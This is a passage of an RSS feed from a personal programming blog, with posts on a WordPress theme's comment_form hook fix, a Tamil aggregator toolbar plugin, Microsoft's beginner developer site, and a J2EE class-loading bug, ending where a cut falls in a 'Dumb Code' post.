href="http://www.wpmollio.com/" title="WP-Mollio" target="_blank">WP-Mollio</a> theme in your WordPress site, I&#8217;d suggest adding  the <a rel="nofollow" target="_blank" href="http://codex.wordpress.org/Theme_Development" title="Documentation in WordPress Codex" target="_blank"><strong>comment_form</strong></a> hook in to your comments.php. Only if you have this statement,  the plugins like &#8220;Subscribe-to-comments&#8221; will work.</p><p><u><strong>How to add this hook?</strong></u></p><ul><li>Open comments.php</li><li>Find the lines of code shown below. You will find it near the end of the file.</li></ul><p><code>&lt;p&gt;&lt;input name="submit" type="submit" id="submit" tabindex="5" value="Submit Comment" /&gt;&lt;/p&gt;<br /> &lt;/form&gt;<br /> &lt;?php // if you delete this the sky will fall on your head<br /> endif; ?&gt;</code></p><ul><li> Add <tt>&lt;?php do_action('comment_form', $post-&gt;ID); ?&gt;</tt> just above <tt>&lt;/form&gt;</tt> ending tag. Save the file.</li></ul><p>This will allow all the plugins that depend on <strong>comment_form</strong> hook to work properly.</p><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/" rel="bookmark" class="crp_title">WordPress plugin for Thamizmanam toolbar</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/windows-live-writer-problems-with-wordpress-how-to-fix/" rel="bookmark" class="crp_title">Windows Live Writer problems with WordPress &#8211; How To fix?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/" rel="bookmark" class="crp_title">Coolcode.cn (WordPress plugin) site down!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/" rel="bookmark" class="crp_title">No..not another WordPress version!!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/automatically-create-podcasts-from-your-posts-how-to/" rel="bookmark" class="crp_title">Automatically create Podcasts from your posts &#8211; How To?</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=WP-Mollio+comment_form+hook+fix+-+HowTo%3F+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/wpmollio-fix-comment_form/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/wpmollio-fix-comment_form/&amp;title=WP-Mollio+comment_form+hook+fix+-+HowTo%3F" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/wpmollio-fix-comment_form/&amp;title=WP-Mollio+comment_form+hook+fix+-+HowTo%3F" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/wpmollio-fix-comment_form/&amp;title=WP-Mollio+comment_form+hook+fix+-+HowTo%3F&amp;desc=If%20you%20are%20using%20WP-Mollio%20theme%20in%20your%20Wordpress%20site%2C%20I%27d%20suggest%20adding%20%20the%20comment_form%20hook%20in%20to%20your%20comments.php.%20Only%20if%20you%20have%20this%20statement%2C%20%20the%20plugins%20like%20%22Subscribe-to-comments%22%20will%20work.%0D%0A%0D%0AHow%20to%20add%20this%20hook%3F%0D%0A%0D%0A%09Open%20comments.php%0D%0A%09Find%20the%20lines%20of%20code%20shown%20below.%20You%20w" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/wpmollio-fix-comment_form/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/wpmollio-fix-comment_form/&amp;bm_description=WP-Mollio+comment_form+hook+fix+-+HowTo%3F&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/wpmollio-fix-comment_form/&amp;title=WP-Mollio+comment_form+hook+fix+-+HowTo%3F" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/wpmollio-fix-comment_form/&amp;title=WP-Mollio+comment_form+hook+fix+-+HowTo%3F" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/wpmollio-fix-comment_form/&amp;title=WP-Mollio+comment_form+hook+fix+-+HowTo%3F" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/wpmollio-fix-comment_form/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-82-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/wpmollio-fix-comment_form/&quot;&gt;WP-Mollio comment_form hook fix &#8211; HowTo?&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/wpmollio-fix-comment_form/feed/</wfw:commentRss> <slash:comments>8</slash:comments> </item> <item><title>WordPress plugin for Thamizmanam toolbar</title><link>http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/</link> <comments>http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/#comments</comments> <pubDate>Thu, 08 Mar 2007 17:29:42 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[Plugins]]></category> <category><![CDATA[Projects]]></category> <category><![CDATA[Wordpress]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[plugin]]></category> <category><![CDATA[programming]]></category> <category><![CDATA[tamil]]></category> <category><![CDATA[Thamizhmanam]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/</guid> <description><![CDATA[Update (22/03/2007): Latest version 0.9 has been uploaded. This adds support for Blogdesam aggregator. This plugin is the outcome of spending three days with WordPress and Thamizmanam toolbar code This plugin inserts automagically the Pathivu toolbar code (both part1 and part2, as listed out here) at proper places. This supports both Thamizmanam and Blogdesam. The [...]]]></description> <content:encoded><![CDATA[<blockquote><p><strong>Update (22/03/2007):</strong> Latest version 0.9 has been uploaded. This adds support for Blogdesam aggregator.</p></blockquote><p>This plugin is the outcome of spending three days with WordPress and Thamizmanam toolbar code <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' title="Wordpress plugin for Thamizmanam toolbar (Jumbled Thoughts)" /></p><p>This plugin inserts automagically the Pathivu toolbar code (both part1 and part2, as listed out <a rel="nofollow" target="_blank" title="Instructions in Tamil" href="http://www.thamizmanam.com/tmwiki/index.php?id=wordpress_toolbar_guidelines&amp;rev=1136370105" target="_blank">here</a>) at proper places. This supports both Thamizmanam and Blogdesam. The plugin adds the code only to SINGLE post pages. Note that, no template file changes are needed. Just install this plugin and everything should be fine!</p><p><strong><u>How to install the plugin?</u></strong></p><ul><li>Download the file (see the bottom of this post)</li><li>Upload this to your <strong>&lt;wordpress_root&gt;/wp-content/plugins</strong> folder. <u>NOTE</u>: Replace &lt;wordpress_root&gt; with your WP installation directory.</li><li>Unzip the file to create <em>tbToolbar</em> sub directory, under plugins folder. Overwrite the old files to upgrade. <u>NOTE</u>: Make sure <em>tbToolbar</em> folder is immediately under <em>/wp-content/plugins</em> folder.</li><li>Go to <strong>Plugins</strong> page in your WP control panel and activate the plugin.</li><li>Now, go to <strong>Options</strong> &gt; <strong>Thamizmanam WP Plugin</strong> page. Here you can choose the image for showing in Thamizmanam. You can also leave this blank for the plugin to submit with the default picture.</li></ul><p>Thats all!</p><p><u><strong>Screenshots:</strong></u></p><p><a title="Click to enlarge" href="http://kannan.jumbledthoughts.com/wp-content/upload/2007/03/tb_adminScreen.png"><img title="Plugin options screen" height="183" alt="Click to enlarge" src="http://kannan.jumbledthoughts.com/wp-content/upload/2007/03/tb_adminScreen.png" width="273" /></a></p><p><span id="more-80"></span><br /> This has been tested with WP 2.1, but should work with 2.x with out any problems. I&#8217;d love to know if you get this to work with WP 1.5.x versions.</p><p><strong><u>Downloads:</u></strong></p><p><u>v0.9:</u> [Supports both Thamizmanam &amp; Blogdesam]</p> <a class="downloadlink" href="http://kannan.jumbledthoughts.com/wp-content/plugins/download-monitor/download.php?id=3" title="Version0.9 downloaded 54 times" >Thamizhmanam plugin (54)</a><p><u>v0.6:</u> [Initial version. Supports Thamizmanam]</p> <a class="downloadlink" href="http://kannan.jumbledthoughts.com/wp-content/plugins/download-monitor/download.php?id=4" title="Version0.6 downloaded 27 times" >Thamizhmanam plugin (27)</a><p><strong><u>Change log:</u></strong></p><ul><li><em>v0.9 &#8211; </em>Supports Blogdesam.com. Added an option page to choose the needed service.</li><li><em>v0.6a</em> &#8211; Alpha release. Allows the user to choose his own picture.</li></ul><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin-updated/" rel="bookmark" class="crp_title">Thamizmanam plugin updated</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/" rel="bookmark" class="crp_title">Coolcode.cn (WordPress plugin) site down!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/how-to-get-logged-in-username-in-hudson/" rel="bookmark" class="crp_title">How to get logged-in username in Hudson?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/automatically-create-podcasts-from-your-posts-how-to/" rel="bookmark" class="crp_title">Automatically create Podcasts from your posts &#8211; How To?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/xbox360-support-windows-live-messenger/" rel="bookmark" class="crp_title">Xbox 360 to support Windows Live Messenger</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Wordpress+plugin+for+Thamizmanam+toolbar+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/&amp;title=Wordpress+plugin+for+Thamizmanam+toolbar" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/&amp;title=Wordpress+plugin+for+Thamizmanam+toolbar" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/&amp;title=Wordpress+plugin+for+Thamizmanam+toolbar&amp;desc=%20%20%20Update%20%2822%2F03%2F2007%29%3A%20Latest%20version%200.9%20has%20been%20uploaded.%20This%20adds%20support%20for%20Blogdesam%20aggregator.%20%20%20This%20plugin%20is%20the%20outcome%20of%20spending%20three%20days%20with%20Wordpress%20and%20Thamizmanam%20toolbar%20code%20%3A-%29%20%20This%20plugin%20inserts%20automagically%20the%20Pathivu%20toolbar%20code%20%28both%20part1%20and%20part2%2C%20as%20listed%20o" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/&amp;bm_description=Wordpress+plugin+for+Thamizmanam+toolbar&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/&amp;title=Wordpress+plugin+for+Thamizmanam+toolbar" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/&amp;title=Wordpress+plugin+for+Thamizmanam+toolbar" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/&amp;title=Wordpress+plugin+for+Thamizmanam+toolbar" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-80-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/&quot;&gt;WordPress plugin for Thamizmanam toolbar&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/feed/</wfw:commentRss> <slash:comments>38</slash:comments> </item> <item><title>Windows Beginner Developer Learning Center &#8211; Gr8 idea!</title><link>http://kannan.jumbledthoughts.com/index.php/windows-beginner-developer-learning-center-gr8-idea/</link> <comments>http://kannan.jumbledthoughts.com/index.php/windows-beginner-developer-learning-center-gr8-idea/#comments</comments> <pubDate>Fri, 02 Mar 2007 09:10:47 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[Tidbits]]></category> <category><![CDATA[coding]]></category> <category><![CDATA[developer]]></category> <category><![CDATA[learning-center]]></category> <category><![CDATA[microsoft]]></category> <category><![CDATA[programming]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/windows-beginner-developer-learning-center-gr8-idea/</guid> <description><![CDATA[Microsoft has come up with a website totally dedicated to getting the programming newbies up and running (Of course, using MS technologies! :p ) BDLC covers both web and desktop applications. The best part is, it doesn&#8217;t assume any prior programming knowledge. I am pretty sure this is a great resource and is gonna boost [...]]]></description> <content:encoded><![CDATA[<p>Microsoft has come up with a <a rel="nofollow" target="_blank" target="_blank" href="http://msdn.microsoft.com/vstudio/express/beginner/" title="Microsoft Beginner Developer Center">website</a> totally dedicated to getting the programming newbies up and running (Of course, using MS technologies! :p )</p><p>BDLC covers both web and desktop applications. The best part is, it doesn&#8217;t assume any prior programming knowledge. I am pretty sure this is a great resource and is gonna boost the Windows developer base exponentially!</p><p>Some interesting topics from BDLC</p><ul><li><a rel="nofollow" target="_blank" target="_blank" href="http://msdn.microsoft.com/vstudio/express/beginner/web/tier1/platform/" title="Web as a platform">Web as a platform</a>. The absolute basics of browsers, HTTP et al</li><li><a rel="nofollow" target="_blank" target="_blank" href="http://msdn.microsoft.com/vstudio/express/beginner/kids" title="Kids corner">Kids corner</a></li><li><a rel="nofollow" target="_blank" target="_blank" href="http://msdn.microsoft.com/vstudio/express/beginner/windows/tier3/beginA/" title="RSS reader project">RSS reader project</a></li><li>ASP.NET <a rel="nofollow" target="_blank" target="_blank" href="http://msdn.microsoft.com/vstudio/express/beginner/web/tier2/vwdbeg3/" title="ASP.NET events and postbacks">events and postbacks</a></li></ul><p>I have bookmarked some for my wife to go through, this weekend. I am pretty sure I will be directing her to this site more often from now!!</p><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/microsoft-india-is-hosting-development/" rel="bookmark" class="crp_title">Microsoft India is hosting a development contest</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/windows-graphics-foundation/" rel="bookmark" class="crp_title">Windows Graphics Foundation</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/microsoft-wants-to-buy-yahoo/" rel="bookmark" class="crp_title">Microsoft wants to buy Yahoo!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/j2ee-newbie/" rel="bookmark" class="crp_title">J2EE newbie!!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/tutorials-available-on-net/" rel="bookmark" class="crp_title">Tutorials available on net</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Windows+Beginner+Developer+Learning+Center+-+Gr8+idea%21+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/windows-beginner-developer-learning-center-gr8-idea/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/windows-beginner-developer-learning-center-gr8-idea/&amp;title=Windows+Beginner+Developer+Learning+Center+-+Gr8+idea%21" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/windows-beginner-developer-learning-center-gr8-idea/&amp;title=Windows+Beginner+Developer+Learning+Center+-+Gr8+idea%21" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/windows-beginner-developer-learning-center-gr8-idea/&amp;title=Windows+Beginner+Developer+Learning+Center+-+Gr8+idea%21&amp;desc=Microsoft%20has%20come%20up%20with%20a%20website%20totally%20dedicated%20to%20getting%20the%20programming%20newbies%20up%20and%20running%20%28Of%20course%2C%20using%20MS%20technologies%21%20%3Ap%20%29%0D%0A%0D%0ABDLC%20covers%20both%20web%20and%20desktop%20applications.%20The%20best%20part%20is%2C%20it%20doesn%27t%20assume%20any%20prior%20programming%20knowledge.%20I%20am%20pretty%20sure%20this%20is%20a%20great%20res" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/windows-beginner-developer-learning-center-gr8-idea/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/windows-beginner-developer-learning-center-gr8-idea/&amp;bm_description=Windows+Beginner+Developer+Learning+Center+-+Gr8+idea%21&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/windows-beginner-developer-learning-center-gr8-idea/&amp;title=Windows+Beginner+Developer+Learning+Center+-+Gr8+idea%21" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/windows-beginner-developer-learning-center-gr8-idea/&amp;title=Windows+Beginner+Developer+Learning+Center+-+Gr8+idea%21" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/windows-beginner-developer-learning-center-gr8-idea/&amp;title=Windows+Beginner+Developer+Learning+Center+-+Gr8+idea%21" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/windows-beginner-developer-learning-center-gr8-idea/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-76-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/windows-beginner-developer-learning-center-gr8-idea/&quot;&gt;Windows Beginner Developer Learning Center &#8211; Gr8 idea!&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/windows-beginner-developer-learning-center-gr8-idea/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>J2EE newbie!!</title><link>http://kannan.jumbledthoughts.com/index.php/j2ee-newbie/</link> <comments>http://kannan.jumbledthoughts.com/index.php/j2ee-newbie/#comments</comments> <pubDate>Mon, 26 Sep 2005 08:52:00 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[Technology]]></category> <category><![CDATA[coding]]></category> <category><![CDATA[Java]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/2005/09/26/j2ee-newbie/</guid> <description><![CDATA[Lately, I am doing a lot of Java / J2EE stuff, since Sudha is in to those technologies. Though I am one of those persons who would prefer to sweat it out with C / Assemly rather than making use of all the making-life-easier goodies offered by Java and related frameworks, I have to admit [...]]]></description> <content:encoded><![CDATA[<p>Lately, I am doing a lot of Java / J2EE stuff, since <a rel="nofollow" target="_blank" href="http://mettupatti.blogspot.com/2005/06/got-engaged.html">Sudha</a> is in to those technologies. Though I am one of those persons who would prefer to sweat it out with C / Assemly rather than making use of all the making-life-easier goodies offered by Java and related frameworks, I have to admit that my respect for J2EE framework is growing as I learn more about it. It is actually a breeze churning out a quality web application using Struts &#8212; I was able to do that in 45mins, from scratch to deployment! Thats a pretty impressive figure for me&#8230;I don&#8217;t know if web applications of enterprise quality can be done using Microsoft technologies the same way Java technologies allow you to do, I am not an expert in it. But, if any of you have personal experience in these, I&#8217;d love to hear your views.</p><p>Yesterday, we decided to create our own custom tag library. Sudha wrote a prime number generator tag, a simple TLD and the corresponding taglib entries in web.xml. When deployed, it threw an exception &#8220;tag-class not found&#8221;. What the heck? Then we noticed our DTD was specifying a wrong version. After a quick fix, we deployed it again. Now, it threw an exception that said &#8220;PrimeTags definition not found&#8221;. It seemed that the server (weblogic) couldn&#8217;t find PrimeTags.class, our Tag handler class. We had it under /WEB-INF/classes. What could be wrong? We wrapped that tag handler in a package and redeployed the same. Now we got another error &#8211; &#8220;Bad class file. Current version is 49.0, expected is 48.0&#8243;, a quick search in Google told us that we are trying to mix java1.5 &amp; java1.4 compiled binaries. Resetting the java_home / path variables to point to jdk1.4 solved the problem!!</p><p>Now the question is, why couldn&#8217;t the server pick up our class file when not packaged??</p><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/windows-live-writer-problems-with-wordpress-how-to-fix/" rel="bookmark" class="crp_title">Windows Live Writer problems with WordPress &#8211; How To fix?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/found-a-permanent-location/" rel="bookmark" class="crp_title">Found a permanent location!!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/windows-beginner-developer-learning-center-gr8-idea/" rel="bookmark" class="crp_title">Windows Beginner Developer Learning Center &#8211; Gr8 idea!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/my-weekly-tweets-digest-2010-07-11/" rel="bookmark" class="crp_title">My Weekly Tweets Digest (2010-07-11)</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/howto-fix-the-response-to-the-metaweblognewmediaobject-method-received-from-the-weblog-server-was-invalid/" rel="bookmark" class="crp_title">HowTo: Fix &quot;The response to the metaWeblog.newMediaObject method received from the weblog server was invalid&quot;</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=J2EE+newbie%21%21+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/j2ee-newbie/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/j2ee-newbie/&amp;title=J2EE+newbie%21%21" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/j2ee-newbie/&amp;title=J2EE+newbie%21%21" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/j2ee-newbie/&amp;title=J2EE+newbie%21%21&amp;desc=Lately%2C%20I%20am%20doing%20a%20lot%20of%20Java%20%2F%20J2EE%20stuff%2C%20since%20Sudha%20is%20in%20to%20those%20technologies.%20Though%20I%20am%20one%20of%20those%20persons%20who%20would%20prefer%20to%20sweat%20it%20out%20with%20C%20%2F%20Assemly%20rather%20than%20making%20use%20of%20all%20the%20making-life-easier%20goodies%20offered%20by%20Java%20and%20related%20frameworks%2C%20I%20have%20to%20admit%20that%20my%20resp" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/j2ee-newbie/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/j2ee-newbie/&amp;bm_description=J2EE+newbie%21%21&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/j2ee-newbie/&amp;title=J2EE+newbie%21%21" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/j2ee-newbie/&amp;title=J2EE+newbie%21%21" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/j2ee-newbie/&amp;title=J2EE+newbie%21%21" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/j2ee-newbie/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-53-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/j2ee-newbie/&quot;&gt;J2EE newbie!!&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/j2ee-newbie/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Dumb Code &#8211; 2</title><link>http://kannan.jumbledthoughts.com/index.php/dumb-code-2/</link> <comments>http://kannan.jumbledthoughts.com/index.php/dumb-code-2/#comments</comments> <pubDate>Wed, 11 May 2005 05:50:00 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/2005/05/10/dumb-code-2/</guid> <description><![CDATA[I noticed the following code last week in one of our tools. The user selects some data in the GUI, selects a list of rules that are to be applied on that range, presses &#8220;Run rules&#8221;. The GUI should pass certain parameters to the module below. This is one of the APIs exposed to the [...]]]></description> <content:encoded><![CDATA[<p>I noticed the following code last week in one of our tools. The user selects some data in the GUI, selects a list of rules that are to be applied on that range, presses &#8220;Run rules&#8221;. The GUI should pass certain parameters to the module below. This is one of the APIs exposed to the GUI by that module.</p><p>Why get a string, representing the rule category from GUI, instead of just an integer??</p><p>&#8212;[ Code snippet 